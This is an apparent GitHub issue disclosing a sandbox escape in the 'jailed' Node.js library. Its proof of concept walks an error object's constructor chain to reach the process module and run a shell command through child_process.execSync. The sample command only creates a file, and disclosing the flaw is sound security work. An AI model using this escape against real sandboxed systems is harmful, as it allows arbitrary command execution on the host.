We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Jailed version: 0.3.1
Node version: 18.15.0
run-jailed.js
var jailed = require('jailed'); var api = {}; var plugin = new jailed.Plugin('./test_case.js', api);
test_case.js
try { __defineGetter__("x", ) } catch (pp) { pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); } application.disconnect();
Sandbox can be escaped by calling __defineGetter__ or __defineSetter__. Also, we can execute arbitrary shell code using process module.
__defineGetter__
__defineSetter__
The text was updated successfully, but these errors were encountered:
No branches or pull requests
Jailed version: 0.3.1
Node version: 18.15.0
run-jailed.js
test_case.js
Sandbox can be escaped by calling
__defineGetter__
or__defineSetter__
.Also, we can execute arbitrary shell code using process module.
The text was updated successfully, but these errors were encountered: